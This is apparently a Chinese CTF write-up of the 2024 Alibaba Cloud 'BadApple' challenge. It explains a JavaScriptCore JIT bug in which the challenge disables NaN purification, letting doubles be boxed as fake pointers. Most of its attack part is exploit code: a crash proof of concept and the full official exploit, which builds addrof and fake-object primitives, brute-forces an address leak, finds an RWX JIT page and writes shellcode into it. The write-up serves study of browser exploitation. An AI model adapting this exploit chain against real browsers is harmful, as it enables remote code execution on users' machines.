2024 阿里云CTF BadApple wp

头疼……背疼……失眠……好好好

Safari, Hold Still for NaN Minutes!

疯狂describe忘记看diff,他tmd注释掉了啊!!!

NaN-boxing

对象编码

1
2
3
4
5
6
7
/*
* Pointer { 0000:PPPP:PPPP:PPPP
* / 0002:****:****:****
* Double { ...
* \ FFFC:****:****:****
* Integer { FFFE:0000:IIII:IIII
*/
  • 指针、布尔值等:高16位为0
  • 双精度浮点数:高16位2~fffc,通过所有double加1<<49编码
  • 32位整数:高16位fffe

BUG

漏洞源于DFG JIT和FTL JIT优化和编译从浮点数组获取元素的方式

snippet1

1
2
let float_array = new Float64Array(10) ;
let value = float_array[0];

DFG编译第二行 从浮点数组中取元素 的语句时会调用以下函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
void SpeculativeJIT::compileGetByValOnFloatTypedArray(Node* node, TypedArrayType type, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
/* …… */
switch (elementSize(type)) {
case 4:
loadFloat(BaseIndex(storageReg, propertyReg, TimesFour), resultReg);
convertFloatToDouble(resultReg, resultReg);
break;
case 8: {
/* [1] */
loadDouble(BaseIndex(storageReg, propertyReg, TimesEight), resultReg);
break;
}
default:
RELEASE_ASSERT_NOT_REACHED();
}
/* [2] */
if (format == DataFormatJS) {
/* [3] */
// purifyNaN(resultReg);
boxDouble(resultReg, resultRegs);
jsValueResult(resultRegs, node);
} else {
ASSERT(format == DataFormatDouble);
doubleResult(resultReg, node);
}
}
  • 从数组加载double到临时寄存器resultReg

  • 检查参数format:

    • DataFormatJS:加载的浮点数将用作JSValue,需要转化为JSValue
    • DataFormatDouble:加载的参数被用作浮点数,无需转化成JSValue

    获取format的函数:

    1
    2
    DataFormat format;
    std::tie(resultRegs, format, std::ignore) = prefix(DataFormatDouble);

    既然是JIT猜测是使用过往行为判断浮点数用途

  • 当format为DataFormatJS时,调用boxDouble将浮点数转换为JSValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void boxDouble(FPRReg fpr, JSValueRegs regs)
{
boxDouble(fpr, regs.tagGPR(), regs.payloadGPR());
}

GPRReg boxDouble(FPRReg fpr, GPRReg gpr, TagRegistersMode mode = HaveTagRegisters)
{
/* [1] */
moveDoubleTo64(fpr, gpr);
/* [2] */
if (mode == DoNotHaveTagRegisters)
sub64(TrustedImm64(JSValue::NumberTag), gpr);
else {
sub64(GPRInfo::numberTagRegister, gpr);
jitAssertIsJSDouble(gpr);
}
return gpr;
}
  • 将double移入通用寄存器gpr

  • 通过将gpr减JSValue::NumberTag将double编码为JSValue

    1
    static constexpr int64_t NumberTag = 0xfffe000000000000ll;

    加1<<49和减0xfffe000000000000效果相同

    1
    2
    3
    4
    5
    gpr = fpr                             // [1] from the above snippet
    gpr = gpr - JSValue::NumberTag; // [2] from the above snippet
    => gpr = 0xfffe000012345678 - 0xfffe000000000000;
    => gpr = 0xfffe000012345678 + 0x0002000000000000; // taking 2's complement
    => gpr = 0x0000000012345678; // overflow happens and the top bit is discarded

假设控制double为形如0xfffe000012345678,编码后为0x0000000012345678会被当做指针解析

boxDouble假定参数为合法double或NaN即0x7ff8000000000000,题目中patch掉的purifyNaN就是检查这个

snippet2

1
2
3
4
5
6
obj = {x:1, y:1}
function forin(arg) {
for (let i in obj) {
let out = arg[i];
}
}
  • 枚举obj中所有属性名称
  • 从arg中取出对应属性名称的值

执行arg[i]时会进入以下过程编译 获取对象的属性值 操作:

1
2
3
4
5
6
7
8
 void SpeculativeJIT::compile(Node* node)
/* …… */
case EnumeratorGetByVal: {
compileEnumeratorGetByVal(node);
break;
}
/* …… */
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void SpeculativeJIT::compileEnumeratorGetByVal(Node* node)
{
Edge baseEdge = m_graph.varArgChild(node, 0);
auto generate = [&] (JSValueRegs baseRegs) {
/* …… */

/* [1] */
compileGetByVal(node, scopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat)>([&] (DataFormat) {
/* …… */

/* [2] */
return std::tuple { resultRegs, DataFormatJS, CanUseFlush::No };
}));

/* …… */
};
  • 该函数调用一个generate闭包函数,generate中又调用compileGetByVal函数
  • compileGetByVal的最后一个参数也是一个闭包,这个闭包最后返回一个元组
    • 第一个值是存储取出的值的寄存器
    • 第二个值是储存格式,始终是DataFormatJS

compileGetByVal处理各种类型的数组对象

1
2
3
4
5
6
7
8
9
10
11
12
void SpeculativeJIT::compileGetByVal(Node* node, const ScopedLambda<std::tuple<JSValueRegs, DataFormat, CanUseFlush>(DataFormat preferredFormat)>& prefix)
{
switch (node->arrayMode().type()) {
/* …… */
case Array::Float64Array: {
TypedArrayType type = node->arrayMode().typedArrayType();
if (isInt(type))
compileGetByValOnIntTypedArray(node, type, prefix);
else
compileGetByValOnFloatTypedArray(node, type, prefix);
} }
}

如果snippet中的arg是double数组,会进行到Float64Array过程,调用snippet1中提到的有问题的函数

snippet3

我们可以通过使用同一内存区域的另一视图改变Float64Array的值为不合法的double

1
2
3
4
5
let abuf       = new ArrayBuffer(0x10);
let bigint_buf = new BigUint64Array(abuf);
let float_buf = new Float64Array(abuf);

bigint_buf[0] = 0xfffe_0000_0000_0000;

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
let abuf = new ArrayBuffer(0x10);
let bbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);

obj = {x:1234, y:1234};

/* [1] */
function trigger(arg, a2) {
for (let i in obj) {
obj = [1];
let out = arg[i];
a2.x = out;
}
}

function main() {

t = {x: {}};
trigger(obj, t);

/* [2] */
for (let i = 0 ; i < 0x10000; i++) {
trigger(fbuf,t);
}

/* [3] */
bbuf[0] = 0xfffe0000_12345678n;
trigger(fbuf, t);

/* [4] */
t.x;
}

main()
  • trigger重复上述snippet1和snippet2使用for in和取属性的操作
  • 重复执行trigger使之被JIT优化编译
  • 使bbuf[0]不合法,此时trigger将0xfffe0000_12345678n赋给了a2.x
  • 调用t.x,0x12345678被当成指针解析,段错误

Leak

  • 处理===时LHS没有类型假设,假设RHS类型为JSObject并进行了检查

  • LHS和RHS的比较只是简单的cmp

  • 我们可以令LHS为假指针,RHS为一个真指针,对指针进行爆破

EXP

JSC对象的内存分布:

  • JSCell:类似v8的map,表示属性的布局
  • butterfly:储存属性,无编码存储
  • 内联属性,可存0x10字节的内联属性,编码存储

流程:

官方exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
// STEP1
let fake1 = {c:1.1, d:2.2};
let fake2 = {c:1.1, d:{}};
// END STEP1

// STEP2
fake2[0] = 1.1;
fake2[1] = 1.1;
fake2[2] = 1.1;
fake2[3] = 1.1;
let abuf = new ArrayBuffer(0x10);
let bbuf = new BigUint64Array(abuf);
let fbuf = new Float64Array(abuf);
let ffbuf = new Float64Array(abuf);
bbuf[0] = 0x01001800000099f0n-0x0002000000000000n;
fake1.c = ffbuf[0];
bbuf[0] = 0x0100180600009a60n;
fake2[0] = ffbuf[0];
// END STEP2
obj = {x:1234, y:1234};
function print(a) {}
function bftrigger(arg, a2) {
for (let i in obj) {
obj = [1];
let out = arg[i];
if (out === a2.x) {
return true;
} else {
return false;
}
}
}
obj2 = {x:1234, y:1234};
function trigger(arg, a2) {
for (let i in obj2) {
obj2 = [1];
let out = arg[i];
a2.x = out;
}
}
let t2 = {x: {}};
trigger(obj, t2);
bbuf[0] = 0x00000000_00000000n;
for(let i = 0; i < 0x800; i++) {
trigger(fbuf, t2);
}
let t = {x: {}};
bftrigger(obj, t);
for(let i = 0; i < 0x800; i++) {
bftrigger(fbuf, t);
}
function leak(object_to_leak) {
let addr = 0x7f00_0000_0000n;
let to_leak = {x: object_to_leak};
for (let i=0n; i<0xff_ffff_ffffn; i+=0x1000000n) {
let current_addr = addr + i + 0x4f8140n;
if ((i&0xfffffffffn) == 0) {
print(current_addr.toString(16))
}
bbuf[0] = 0xfffe0000_00000000n+current_addr;
let result = bftrigger(fbuf, to_leak);
if (result) {
print('Found the address at: 0x'+ current_addr.toString(16));
return current_addr;
}
}
return 0;
}
function exp() {
// STEP3
let fake1_addr = leak(fake1);
if (fake1_addr==0) {
return
}
fake1_addr = fake1_addr+0x10n;
bbuf[0] = 0xfffe0000_00000000n+fake1_addr;
trigger(fbuf, t2);
// END STEP3

// STEP4
let fake_obj = t2.x.d;
// END STEP4

// STEP5
let fake_bf = fake1_addr+0x8n;
bbuf[0] = fake_bf;
fake2[1] = ffbuf[0];
ffbuf[0] = fake_obj[2];
let butterfly_addr = bbuf[0];
print("Leak butterfly addr: 0x" + butterfly_addr.toString(16));
// END STEP5
function addrof(obj) {
fake2.d = obj;
ffbuf[0] = fake_obj[4];
return bbuf[0];
}
function read64(addr) {
bbuf[0] = addr;
fake2[1] = ffbuf[0];
ffbuf[0] = fake_obj[0];
let res = bbuf[0];
bbuf[0] = fake_bf; // 还原
fake2[1] = ffbuf[0];
return res;
}
let addr = addrof(bftrigger);
print(addr.toString(16));
addr = read64(addr+0x18n);
print(addr.toString(16));
addr = read64(addr+0x8n);
print(addr.toString(16));
let rwx = read64(addr+0x10n);
print("Leak RWX addr: 0x" + rwx.toString(16));
let shellcode = [-1.1406995792869598e-244, 7.237521960842062e-308, -1.1399357607410871e-244, 9.780209880692209e+26, -2.6607797970378774e-254, 1.7806249655998242e-22, 3.9690202623744235e+146, 7.34038447708115e+223, 3.3819935e-317, 0];
bbuf[0] = rwx+0xbn;
fake2[1] = ffbuf[0];
shellcode.forEach((sc, i) => {
fake_obj[i] = sc;
});
bftrigger();
}
exp();
while(1){}

2024 阿里云CTF BadApple wp
http://akaieurus.github.io/2024/04/09/阿里云badapple/
作者
Eurus
发布于
2024年4月9日
许可协议